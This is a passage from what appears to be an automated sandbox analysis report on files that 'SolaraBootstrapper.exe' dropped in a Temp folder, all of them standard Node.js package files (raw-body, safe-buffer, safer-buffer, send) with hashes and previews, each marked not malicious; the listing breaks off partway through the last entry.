SHA-512:	7083169D33557A58E20573AC46DD0DE8E319903BBAFBC3618D7CF19AF88943253A1C34FC232D58B9A0B52221138DCF3BC67B0D412EE98C306D405F23687B607F
Malicious:	false
Preview:	/!. raw-body. * Copyright(c) 2013-2014 Jonathan Ong. * Copyright(c) 2014-2022 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var asyncHooks = tryRequireAsyncHooks().var bytes = require('bytes').var createError = require('http-errors').var iconv = require('iconv-lite').var unpipe = require('unpipe')../. Module exports.. * @public. /..module.exports = getRawBody../. Module variables.. * @private. /..var ICONV_ENCODING_MESSAGE_REGEXP = /^Encoding not recognized: /../. Get the decoder for a given encoding.. . @param {string} encoding. * @private. */..function getDecoder (encoding) {. if (!encoding) return null.. try {. return iconv.getDecoder(encoding). } catch (e) {. // error getting decoder. if (!ICONV_ENCODING_MESSAGE_REGEXP.test(e.message)) throw e.. // the encoding was not found. throw createError(415, 'specified encoding unsupported', {. encoding: encoding,. type: 'encoding.uns

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\raw-body\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1325
Entropy (8bit):	4.850638737778845
Encrypted:	false
SSDEEP:	24:QdHD1KbYxVRh6XeRBBWivIZ2lW08wkeubMGZKLvP:QdZKbGVHueRBBWivIAU37bMGorP
MD5:	58476FBD36D659574FC58355C7349D40
SHA1:	96D635B6625AD7B5727B25ED22D5FB8ECCEC0276
SHA-256:	371D95A705FBDF75BF820E49F7E329A5BA48A7B3A37EB12EFEF3029493318C13
SHA-512:	E3312DC033D6F2B5D5FA32AC2157E6BA8F5E74071EEF79777B835CA508DF7E619BC44F0B67CCB7DC5795115C95E004E346132039D68402802C6D1E567CBB6958
Malicious:	false
Preview:	{. "name": "raw-body",. "description": "Get and validate the raw body of a readable stream.",. "version": "2.5.2",. "author": "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Raynos <raynos2@gmail.com>". ],. "license": "MIT",. "repository": "stream-utils/raw-body",. "dependencies": {. "bytes": "3.1.2",. "http-errors": "2.0.0",. "iconv-lite": "0.4.24",. "unpipe": "1.0.0". },. "devDependencies": {. "bluebird": "3.7.2",. "eslint": "8.34.0",. "eslint-config-standard": "15.0.1",. "eslint-plugin-import": "2.27.5",. "eslint-plugin-markdown": "3.0.0",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "6.1.1",. "eslint-plugin-standard": "4.1.0",. "mocha": "10.2.0",. "nyc": "15.1.0",. "readable-stream": "2.3.7",. "safe-buffer": "5.2.1". },. "engines": {. "node": ">= 0.8". },. "files": [. "HISTORY.md",. "LICENSE",. "REA

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safe-buffer\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1081
Entropy (8bit):	5.0875408334710945
Encrypted:	false
SSDEEP:	24:b6NermJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:b6IaJHlxE35QHOs5exm3ogF5n
MD5:	BADD5E91C737E7FFDF10B40C1F907761
SHA1:	07D9563F6153658DE124707787FF43F0458AB24A
SHA-256:	C7CC929B57080F4B9D0C6CF57669F0463FC5B39906344DFC8D3BC43426B30EAC
SHA-512:	EF233F8DB609B7025E2E027355EE0B5E7B65B537506412CA1A4D95E74F2BE2FE284C3A3FA36CB9D85DBD1A35FE650FE14DE5B4D93AB071F2024C1FC8CF40730E
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) Feross Aboukhadijeh..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safe-buffer\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	19555
Entropy (8bit):	5.045310353820335
Encrypted:	false
SSDEEP:	192:3pUPN2yK+iF482S2MMHuYFT6h/to3zpS7zJ4Yku3bnEmkT9OmxrSQcf0ah+TUY6+:ZUlsnqEAuYFmiElkUbEBcQPDb6BPNX2
MD5:	570381FFB15269FA623A0B75E67EB63A
SHA1:	75916065970FAA645BCA603327ECBAEA09AFE12E
SHA-256:	D301A850808775718DDB510D4BF2A922D9B0AFA72894E67137DAA20FBEAFAC05
SHA-512:	4185327934CB42E8495DA451C6FC1A3CB5FD4E3E5C91A46B0C07C0C4A49C03EF8622332E0C441D00DCB5ECDE9D293E76A20BDC6A9FA6AA6E713C6F2AE11A68FD
Malicious:	false
Preview:	# safe-buffer [![travis][travis-image]][travis-url] [![npm][npm-image]][npm-url] [![downloads][downloads-image]][downloads-url] [![javascript style guide][standard-image]][standard-url]..[travis-image]: https://img.shields.io/travis/feross/safe-buffer/master.svg.[travis-url]: https://travis-ci.org/feross/safe-buffer.[npm-image]: https://img.shields.io/npm/v/safe-buffer.svg.[npm-url]: https://npmjs.org/package/safe-buffer.[downloads-image]: https://img.shields.io/npm/dm/safe-buffer.svg.[downloads-url]: https://npmjs.org/package/safe-buffer.[standard-image]: https://img.shields.io/badge/code_style-standard-brightgreen.svg.[standard-url]: https://standardjs.com..#### Safer Node.js Buffer API..Use the new Node.js Buffer APIs (`Buffer.from`, `Buffer.alloc`,.`Buffer.allocUnsafe`, `Buffer.allocUnsafeSlow`) in all versions of Node.js...Uses the built-in implementation when available...## install..```.npm install safe-buffer.```..## usage..The goal of this package is to provide a safe r

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safe-buffer\index.d.ts

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8738
Entropy (8bit):	4.655576194676342
Encrypted:	false
SSDEEP:	192:8pMybxMIm2Y9bhhbTpSKslfUTflkGODllkGxqWJVCPHAl/CkvJcenCC4RbTaoMfE:86slfcl+hlBUglNyG1JK
MD5:	372FA012D04E945AB97C27E000F8DF78
SHA1:	0B5844A33B757B9DB574541363116917FCBC6D90
SHA-256:	5E379DF3D61561C2ED7789B5995B9BA2143BBBA21A905E2381E16EFE7D1FA424
SHA-512:	E420C6F2A15605DE938F77A085453E6C0E84B62AAE7640AA7BF0E576534F6B07FDEFCEEA14CB2773E9A7FB042885B5BD108EF98E90258A37D3E907307C9FC674
Malicious:	false
Preview:	declare module "safe-buffer" {. export class Buffer {. length: number. write(string: string, offset?: number, length?: number, encoding?: string): number;. toString(encoding?: string, start?: number, end?: number): string;. toJSON(): { type: 'Buffer', data: any[] };. equals(otherBuffer: Buffer): boolean;. compare(otherBuffer: Buffer, targetStart?: number, targetEnd?: number, sourceStart?: number, sourceEnd?: number): number;. copy(targetBuffer: Buffer, targetStart?: number, sourceStart?: number, sourceEnd?: number): number;. slice(start?: number, end?: number): Buffer;. writeUIntLE(value: number, offset: number, byteLength: number, noAssert?: boolean): number;. writeUIntBE(value: number, offset: number, byteLength: number, noAssert?: boolean): number;. writeIntLE(value: number, offset: number, byteLength: number, noAssert?: boolean): number;. writeIntBE(value: number, offset: number, byteLength: number, noAssert?: boolean): number;. readUIntLE(of

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safe-buffer\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1670
Entropy (8bit):	4.817165056217284
Encrypted:	false
SSDEEP:	24:/tNxUVXjkrQZlvNQRyFybMF6BKHpXXGlhxS6T+pT6F+EUQfdFtIA3ylF+MybcF+D:/tEXIrKlvNeOBQkHpXWk3TYVFtI84u
MD5:	35DE14728187B87C9AB687C3BDC37436
SHA1:	94AE42F086B35537CC69D82C0F55C6D59E6B8D98
SHA-256:	184D5C4A83512E3F49D4D5B52F7073F601F933BAD11F1FBB3AD364CA5E6478E1
SHA-512:	B2B3EF941A8D76480F519B68CD05ECF0AACE617A2C414F3E7D375A59718B06F6E7BF88EF384F3E400642431C296BF400F80048E4AD8EFB93860E41D697F337B1
Malicious:	false
Preview:	/! safe-buffer. MIT License. Feross Aboukhadijeh <https://feross.org/opensource> /./* eslint-disable node/no-deprecated-api */.var buffer = require('buffer').var Buffer = buffer.Buffer..// alternative to using Object.keys for old browsers.function copyProps (src, dst) {. for (var key in src) {. dst[key] = src[key]. }.}.if (Buffer.from && Buffer.alloc && Buffer.allocUnsafe && Buffer.allocUnsafeSlow) {. module.exports = buffer.} else {. // Copy properties from require('buffer'). copyProps(buffer, exports). exports.Buffer = SafeBuffer.}..function SafeBuffer (arg, encodingOrOffset, length) {. return Buffer(arg, encodingOrOffset, length).}..SafeBuffer.prototype = Object.create(Buffer.prototype)..// Copy static methods from Buffer.copyProps(Buffer, SafeBuffer)..SafeBuffer.from = function (arg, encodingOrOffset, length) {. if (typeof arg === 'number') {. throw new TypeError('Argument must not be a number'). }. return Buffer(arg, encodingOrOffset, length).}..SafeBuffer.alloc

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safe-buffer\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1057
Entropy (8bit):	4.53518551140891
Encrypted:	false
SSDEEP:	24:BVn1zNVNWSylQ3L+mXZc8RdDWwL24RUo+4a+wL:B3fk7Q73XZtdDbPXtW
MD5:	B206856C7EF099626BF28CDC5498787A
SHA1:	6CE1DDDFB8739C577AE2AD84F1ABA01427791F57
SHA-256:	E4018FDBFE625433371F48274FEE26F520BBE865E0D8C85BF3AA07424134B90C
SHA-512:	496945384EEE920998C6C3D7499FCCBC67B34F900DF37082002B108B053283700AEB56F9C6F2D98DA6622EC4CFD75B12714D0934C09B4F47A9E503300B9A477D
Malicious:	false
Preview:	{. "name": "safe-buffer",. "description": "Safer Node.js Buffer API",. "version": "5.2.1",. "author": {. "name": "Feross Aboukhadijeh",. "email": "feross@feross.org",. "url": "https://feross.org". },. "bugs": {. "url": "https://github.com/feross/safe-buffer/issues". },. "devDependencies": {. "standard": "",. "tape": "^5.0.0". },. "homepage": "https://github.com/feross/safe-buffer",. "keywords": [. "buffer",. "buffer allocate",. "node security",. "safe",. "safe-buffer",. "security",. "uninitialized". ],. "license": "MIT",. "main": "index.js",. "types": "index.d.ts",. "repository": {. "type": "git",. "url": "git://github.com/feross/safe-buffer.git". },. "scripts": {. "test": "standard && tape test/.js". },. "funding": [. {. "type": "github",. "url": "https://github.com/sponsors/feross". },. {. "type": "patreon",. "url": "https://www.patreon.com/feross". },. {. "type": "consulting

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safer-buffer\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	5.139912653301341
Encrypted:	false
SSDEEP:	24:Y1rmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:Y1aJHlxE3dQHOs5exm3ogFh
MD5:	3BAEBC2A17B8F5BFF04882CD0DC0F76E
SHA1:	CFCB19AB237382E4CE1253C5F0E28AD153A3C77A
SHA-256:	4BC935E71BE198C67DDF3C2B5FDDB195F6EDC182BFC155A96A6DB61B44B494B9
SHA-512:	9340003E5DBE9766972442DA97F824FC4BECE26C191FCE5310993836717CD9D066EA8008CD685647EF3FC73BFFDCEEB8E554B169C7411ECC336A4F2470F10469
Malicious:	false
Preview:	MIT License..Copyright (c) 2018 Nikita Skovoroda <chalkerx@gmail.com>..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safer-buffer\Porting-Buffer.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (380)
Category:	dropped
Size (bytes):	12794
Entropy (8bit):	4.921514226026537
Encrypted:	false
SSDEEP:	384:4pHfjquxtqWuncJsd79t3sw+bJyY3NpINdCKh:41YWhJs7t3sJt3NqbFh
MD5:	FCAA030E67B1D41E34571B602A343F72
SHA1:	1F23A158DC57C02812BAEF3334EF96BA1C940E5C
SHA-256:	134523D05B39E177135C2A2070A426EB319657DFC77589E38EF7CF13CD50E730
SHA-512:	07519B85D985702822DCD5E0B6A113727BC53F95A33E98B0C5AE6EE140B1D19170B05855BC626AB0E2500C30351E560D404E1529E77568BF80BA59BBD4530C21
Malicious:	false
Preview:	# Porting to the Buffer.from/Buffer.alloc API..<a id="overview"></a>.## Overview..- [Variant 1: Drop support for Node.js . 4.4.x and 5.0.0 . 5.9.x.](#variant-1) (recommended).- [Variant 2: Use a polyfill](#variant-2).- [Variant 3: manual detection, with safeguards](#variant-3)..### Finding problematic bits of code using grep..Just run `grep -nrE '[^a-zA-Z](Slow)?Buffer\s*\(' --exclude-dir node_modules`...It will find all the potentially unsafe places in your own code (with some considerably unlikely.exceptions)...### Finding problematic bits of code using Node.js 8..If you.re using Node.js . 8.0.0 (which is recommended), Node.js exposes multiple options that help with finding the relevant pieces of code:..- `--trace-warnings` will make Node.js show a stack trace for this warning and other warnings that are printed by Node.js..- `--trace-deprecation` does the same thing, but only for deprecation warnings..- `--pending-deprecation` will show more types of deprecation warnings.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safer-buffer\Readme.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	8261
Entropy (8bit):	5.094691406772684
Encrypted:	false
SSDEEP:	192:Xp8VQqZ9r3xcEfza35Vr9iuHfxuE3HXVN83jsHF:58VQqZ9r3xxfGDpiuHfxuEXXL83Yl
MD5:	B65F4B9724FF4C546EE7D4820E3C91DC
SHA1:	133890ECC4218D9C67890F0E5884E754E824C859
SHA-256:	D4331B7C5AF9C02161150DAF9451EE6BC7A73ECE3EC0312603FAE09F46A817D8
SHA-512:	606AB220D3E9002AD79374BBEAA1D8822EBCB9DE9A3DD2D31D1B2C181B193CF312D0DBC25D54677FE302900DD1DD4075BB340CA50ED4DD64845FC003A4775A1D
Malicious:	false
Preview:	# safer-buffer [![travis][travis-image]][travis-url] [![npm][npm-image]][npm-url] [![javascript style guide][standard-image]][standard-url] [![Security Responsible Disclosure][secuirty-image]][secuirty-url]..[travis-image]: https://travis-ci.org/ChALkeR/safer-buffer.svg?branch=master.[travis-url]: https://travis-ci.org/ChALkeR/safer-buffer.[npm-image]: https://img.shields.io/npm/v/safer-buffer.svg.[npm-url]: https://npmjs.org/package/safer-buffer.[standard-image]: https://img.shields.io/badge/code_style-standard-brightgreen.svg.[standard-url]: https://standardjs.com.[secuirty-image]: https://img.shields.io/badge/Security-Responsible%20Disclosure-green.svg.[secuirty-url]: https://github.com/nodejs/security-wg/blob/master/processes/responsible_disclosure_template.md..Modern Buffer API polyfill without footguns, working on Node.js from 0.8 to current...## How to use?..First, port all `Buffer()` and `new Buffer()` calls to `Buffer.alloc()` and `Buffer.from()` API...Then, to achieve compati

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safer-buffer\dangerous.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1483
Entropy (8bit):	4.858990166784303
Encrypted:	false
SSDEEP:	24:IVXjkg1eN9g4sB4PO90vVOf+bj/IvjYyrwtclF+uTIF79Ru9QSyrbMFMcbUF+uT+:QXIf0B2Oe10jOwS79ROQYCJS79ROQrZ
MD5:	7557E84F2DB56A79916613053F9297D6
SHA1:	F5D11729706B0DE3ED7D6F35060EB73680CCE42F
SHA-256:	1DC2900BCC8FFC375AF0D2FC99A03ECAD2DCBB85D278FBF26982E87707BEA53F
SHA-512:	5758A335E7905960E20F09741078F6584A12D58152C462A17A134BC8A1DCD5DDED3173784B089AD3A5CCC1ACB070D218552A2EE0263FBBDCE8C2CE646327B16C
Malicious:	false
Preview:	/* eslint-disable node/no-deprecated-api /..'use strict'..var buffer = require('buffer').var Buffer = buffer.Buffer.var safer = require('./safer.js').var Safer = safer.Buffer..var dangerous = {}..var key..for (key in safer) {. if (!safer.hasOwnProperty(key)) continue. dangerous[key] = safer[key].}..var Dangereous = dangerous.Buffer = {}..// Copy Safer API.for (key in Safer) {. if (!Safer.hasOwnProperty(key)) continue. Dangereous[key] = Safer[key].}..// Copy those missing unsafe methods, if they are present.for (key in Buffer) {. if (!Buffer.hasOwnProperty(key)) continue. if (Dangereous.hasOwnProperty(key)) continue. Dangereous[key] = Buffer[key].}..if (!Dangereous.allocUnsafe) {. Dangereous.allocUnsafe = function (size) {. if (typeof size !== 'number') {. throw new TypeError('The "size" argument must be of type number. Received type ' + typeof size). }. if (size < 0 \|\| size >= 2 (1 << 30)) {. throw new RangeError('The value "' + size + '" is invalid for op

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safer-buffer\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	822
Entropy (8bit):	4.795407598479613
Encrypted:	false
SSDEEP:	12:tF1a3XlpD7NjAicV8QjU4SMKmGPXoBbmWVT6foePVT6j0EzgkdG6VuQv1r:H1KXXxAeYSMK9/njfFCdr
MD5:	274D956F400350C9F6CF96D22CDDA227
SHA1:	5ED0FAB8E5CAC53E4D072ACBD82FCA9BE08F5E67
SHA-256:	4247A3A63C45A6A7CED1557FE4DD9D2A163AF4915D594B95E5867B69A53EDB52
SHA-512:	120CFF7383D78BBF7746F11101E973ED0AF9D0DED6537823F4ACBFA659D29C1BD09D55EC434BDC7661F26CB5278BACC76A55D95248753431F4099F98F9532F94
Malicious:	false
Preview:	{. "name": "safer-buffer",. "version": "2.1.2",. "description": "Modern Buffer API polyfill without footguns",. "main": "safer.js",. "scripts": {. "browserify-test": "browserify --external tape tests.js > browserify-tests.js && tape browserify-tests.js",. "test": "standard && tape tests.js". },. "author": {. "name": "Nikita Skovoroda",. "email": "chalkerx@gmail.com",. "url": "https://github.com/ChALkeR". },. "license": "MIT",. "repository": {. "type": "git",. "url": "git+https://github.com/ChALkeR/safer-buffer.git". },. "bugs": {. "url": "https://github.com/ChALkeR/safer-buffer/issues". },. "devDependencies": {. "standard": "^11.0.1",. "tape": "^4.9.0". },. "files": [. "Porting-Buffer.md",. "Readme.md",. "tests.js",. "dangerous.js",. "safer.js". ].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safer-buffer\safer.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	4.891651950004989
Encrypted:	false
SSDEEP:	48:QXIdWaJpDrVm0eMBMaU0QNjbTwS79ROMoVFaQwkN+Y0:3dWaJ9r5eIQN976aQjp0
MD5:	B548FA7365E81D472250949A6B4CCC69
SHA1:	AD919CAD501061F663026F382334CC6CE5A8B381
SHA-256:	37F9716144105051AB302F6A0C30A52FF5DE7269B9E1173AC22BE798FC11CCAD
SHA-512:	6B3C16541246DDF1BD12C0CF537FC54DD9ED932C70A834D8DF57D6758BC9532AF554910D4B292F69FA5B3FD0B5F66DCE2451EB3F6CF19BA295D1397BCAD8A574
Malicious:	false
Preview:	/* eslint-disable node/no-deprecated-api */..'use strict'..var buffer = require('buffer').var Buffer = buffer.Buffer..var safer = {}..var key..for (key in buffer) {. if (!buffer.hasOwnProperty(key)) continue. if (key === 'SlowBuffer' \|\| key === 'Buffer') continue. safer[key] = buffer[key].}..var Safer = safer.Buffer = {}.for (key in Buffer) {. if (!Buffer.hasOwnProperty(key)) continue. if (key === 'allocUnsafe' \|\| key === 'allocUnsafeSlow') continue. Safer[key] = Buffer[key].}..safer.Buffer.prototype = Buffer.prototype..if (!Safer.from \|\| Safer.from === Uint8Array.from) {. Safer.from = function (value, encodingOrOffset, length) {. if (typeof value === 'number') {. throw new TypeError('The "value" argument must not be of type number. Received type ' + typeof value). }. if (value && typeof value.length === 'undefined') {. throw new TypeError('The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type ' + typeof

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\safer-buffer\tests.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	15735
Entropy (8bit):	4.914204260838717
Encrypted:	false
SSDEEP:	384:ABWvbe5vBmOv+zFPgOXS8d9Qf2loYA6LA9Yc07:AUb+Bt+pPgOmGoj6LA9Yc07
MD5:	373F9327325C35BB109038DC3B8E5A14
SHA1:	DC7FD8AD11F6C0A7DE689697AFC870F58F7A2844
SHA-256:	511906FDF6A233C84A9216065D1701DBFD84F380FBD495AE1CF5A002370B9885
SHA-512:	180379AC8D63F25D27612BF185AAB6736162BC46A219A7F4247C174B525A088ABEA07AF47F46A1A588774B6B975D72F16E48A16E423E93208591DFA394282B2D
Malicious:	false
Preview:	/* eslint-disable node/no-deprecated-api /..'use strict'..var test = require('tape')..var buffer = require('buffer')..var index = require('./').var safer = require('./safer').var dangerous = require('./dangerous')../ Inheritance tests */..test('Default is Safer', function (t) {. t.equal(index, safer). t.notEqual(safer, dangerous). t.notEqual(index, dangerous). t.end().})..test('Is not a function', function (t) {. [index, safer, dangerous].forEach(function (impl) {. t.equal(typeof impl, 'object'). t.equal(typeof impl.Buffer, 'object'). });. [buffer].forEach(function (impl) {. t.equal(typeof impl, 'object'). t.equal(typeof impl.Buffer, 'function'). }). t.end().})..test('Constructor throws', function (t) {. [index, safer, dangerous].forEach(function (impl) {. t.throws(function () { impl.Buffer() }). t.throws(function () { impl.Buffer(0) }). t.throws(function () { impl.Buffer('a') }). t.throws(function () { impl.Buffer('a', 'utf-8') }). t.throws(funct

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\send\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	13301
Entropy (8bit):	4.912166673065034
Encrypted:	false
SSDEEP:	192:MYUow7GhMZcyKOC/YP3tKLT7FlCSh1YVk7R1HTIfDDJ7WU6NZwZZFNAGAom3Xgsi:lUo+EpObsLThPhCEZwZZFN0oZ
MD5:	70FC41FDEA3EFC7100A4E0C3A0DC8448
SHA1:	EC9F95787ADB2FB17CBF6C808C98146DDADC4677
SHA-256:	A08B6BAFFACFBD0BA14CDAC367BB7B2E809B91381DCCA79633E68518ED360C7C
SHA-512:	E156CF9C02CC173B8368000A9F184E1E376EB880C9ECEBA2284EEB24CD7C454DE0C525146CF52ADFE7671FC928052C8BB42E1DAA662CC12829D5C06B2E995FA6
Malicious:	false
Preview:	0.18.0 / 2022-03-23.===================.. * Fix emitted 416 error missing headers property. * Limit the headers removed for 304 response. * deps: depd@2.0.0. - Replace internal `eval` usage with `Function` constructor. - Use instance methods on `process` to check for listeners. * deps: destroy@1.2.0. * deps: http-errors@2.0.0. - deps: depd@2.0.0. - deps: statuses@2.0.1. * deps: on-finished@2.4.1. * deps: statuses@2.0.1..0.17.2 / 2021-12-11.===================.. * pref: ignore empty http tokens. * deps: http-errors@1.8.1. - deps: inherits@2.0.4. - deps: toidentifier@1.0.1. - deps: setprototypeof@1.2.0. * deps: ms@2.1.3..0.17.1 / 2019-05-10.===================.. * Set stricter CSP header in redirect & error responses. * deps: range-parser@~1.2.1..0.17.0 / 2019-05-03.===================.. * deps: http-errors@~1.7.2. - Set constructor name when possible. - Use `toidentifier` module to make class names. - deps: depd@~1.1.2. - deps: setprototypeo

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\send\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1128
Entropy (8bit):	5.156120084449652
Encrypted:	false
SSDEEP:	24:aiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:aiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	5F1A8369A899B128AAA8A59D60D00B40
SHA1:	B8F341A3A86A825ED75E0DAD5B7CB0EF8EBBBC29
SHA-256:	25A328069FE771F8ED5B6F983ED4B0E6C84B3312AC0F69B28C3D52DC277962C9
SHA-512:	CCA39054E9B2CFE7B076D28F19A775AFE05EB0E7643C8AF827143E2F6A9EB59CC668D83DD1E73390908CB8037142B8086141292C6472821F48C9BECC4CAD02DF
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2012 TJ Holowaychuk.Copyright (c) 2014-2022 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CON

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\send\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9476
Entropy (8bit):	4.909515762700429
Encrypted:	false
SSDEEP:	192:QsQv44A5+IKFLvZWg54FNlgd+0j6X+Ktw+Nja3DBs7RpF3BHYPy9BPGjNhEfy9:JQv44XFLvZWgsFW6XjtTjazBI13u59
MD5:	58D01CF4D34779852C06A3C5301A44F3
SHA1:	91C3546C7FEDE667861C951B826080D9EBDD8738
SHA-256:	08F465B588AF742601818744E54A68927A3F76C0AC831520C411C1C82334BA11
SHA-512:	36405A81AFEEDC6BFE52EF08B3B2187A56742F44C9809DBE91F155D9CED8500E134190802618A2C79FD0D3B0E69F518A7CE9C84B20C7E4432922426389D585A6
Malicious:	false
Preview:	# send..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Linux Build][github-actions-ci-image]][github-actions-ci-url].[![Windows Build][appveyor-image]][appveyor-url].[![Test Coverage][coveralls-image]][coveralls-url]..Send is a library for streaming files from the file system as a http response.supporting partial responses (Ranges), conditional-GET negotiation (If-Match,.If-Unmodified-Since, If-None-Match, If-Modified-Since), high test coverage,.and granular events which may be leveraged to take appropriate actions in your.application or framework...Looking to serve up entire folders mapped to URLs? Try [serve-static](https://www.npmjs.org/package/serve-static)...## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```bash.$ npm insta

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\send\SECURITY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1170
Entropy (8bit):	4.464334371428507
Encrypted:	false
SSDEEP:	24:11oSZ8gGzDRSKH+ZKWKKDF925a/7kJyEyF0eOCYunEfu7WR:1LS/RTjVha/7xPYun7WR
MD5:	B6061B0B7F151ABED066DC528DD952EF
